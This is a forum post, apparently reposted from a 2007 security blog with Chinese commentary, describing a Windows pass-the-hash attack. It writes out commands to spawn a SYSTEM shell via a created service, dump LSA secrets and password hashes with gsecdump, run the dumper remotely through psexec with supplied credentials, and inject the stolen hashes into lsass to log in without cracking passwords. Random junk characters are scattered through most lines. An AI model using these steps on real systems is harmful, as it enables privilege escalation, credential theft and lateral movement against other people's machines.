找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2236|回复: 0
打印 上一主题 下一主题

HASH注入式攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:09:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
o get a DOS Prompt as NT system:: i. ?: x$ w# v6 j
/ d! L$ P; ?4 T1 Y- n
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact4 Y: Y1 Q& h4 ]- V3 H
[SC] CreateService SUCCESS
+ T! s/ e/ P7 S
( U" l4 u( v" p. PC:\>sc start shellcmdline" z- v9 z7 ]& n0 {/ h2 q3 ]
[SC] StartService FAILED 1053:& @7 O: i% Z8 V4 [; g6 u& M

0 t: v  q! `" L8 UThe service did not respond to the start or control request in a timely fashion.
* ^+ A8 U) ?  [  N# N7 |- ?7 g, y$ j7 T$ m9 s
C:\>sc delete shellcmdline
8 e$ V5 p7 L" O# g$ P[SC] DeleteService SUCCESS* h& p+ x" I7 _  G
9 W  w# h4 G. l3 p- o6 n/ A; L2 e  E5 @
------------' Y6 j6 u; N, G2 a& n  D2 x

- A$ h. y, t% H9 FThen in the new DOS window:9 u$ N1 T$ W0 T

. |' W- D) U3 @  S0 Q. y- PMicrosoft Windows XP [Version 5.1.2600]8 C  @, Y: F8 \+ h
(C) Copyright 1985-2001 Microsoft Corp.( u; C- [1 x' x( A7 R" Q7 q0 Q
* W3 S9 i6 G$ K/ ~! M4 v$ C4 t
C:\WINDOWS\system32>whoami
" a4 t9 f' F2 I) T, I" R" G; fNT AUTHORITY\SYSTEM
. z3 h4 b$ N0 S4 g
. Y7 J4 F/ b; Z: O$ F2 c1 p& H/ pC:\WINDOWS\system32>gsecdump -h% V; B+ |/ o! d+ l% P8 b3 ?, l
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
5 k1 I4 b( U% L% Y# pusage: gsecdump [options]8 m% x) I0 E4 T. h/ F3 _9 W- P+ \
6 N; i+ J4 t/ e. {) N- G
options:
9 z  h% m! Z" n9 B' U$ p/ q-h [ --help ] show help4 r* o. Y% T9 k2 m6 t! Q
-a [ --dump_all ] dump all secrets  X) K! I! ?8 s
-l [ --dump_lsa ] dump lsa secrets
7 D) M6 J% I6 n/ O-w [ --dump_wireless ] dump microsoft wireless connections& y: G- q8 K- o/ j; v( d7 U/ R3 D
-u [ --dump_usedhashes ] dump hashes from active logon sessions
8 H$ ~6 C( U+ _-s [ --dump_hashes ] dump hashes from SAM/AD7 Z" r, a/ R7 h) r; P) V( L  I0 s) m9 j

4 n: F' O) u  `) _/ X4 u* gAlthough I like to use:* t1 q( l$ d) f

, z4 T7 c4 l8 T3 ]3 H9 ~PsExec v1.83 - Execute processes remotely
8 l0 D7 C  \$ Y3 X% O1 s) ECopyright (C) 2001-2007 Mark Russinovich) I5 C$ [- n. {6 T% Q0 ?
Sysinternals - 链接标记[url]www.sysinternals.com[/url]9 k. Q8 n8 @% F7 U" `( {, n

# _8 q, y$ @2 X) A9 j. s4 TC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
: y& C$ A! D  q; b; ?0 t* S9 N& m: H0 o: }- f2 W" b8 P. T) t7 y
to get the hashes from active logon sessions of a remote system.
8 i! U* J* ?* O" P" }/ @  \" q% H2 b5 b* S
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
- N8 ~" z9 J4 ]" f
) I5 r# ]8 l& }5 e7 Q提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.' u3 V2 ?! R4 _$ _( ^8 i0 M1 R8 P
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]7 E3 Y7 ?: H! L0 o, i( ~8 k6 D
# \+ @, o5 N7 A5 X1 W/ Y0 }# m+ b
我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。# c. H. T$ A* y5 @( v% o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表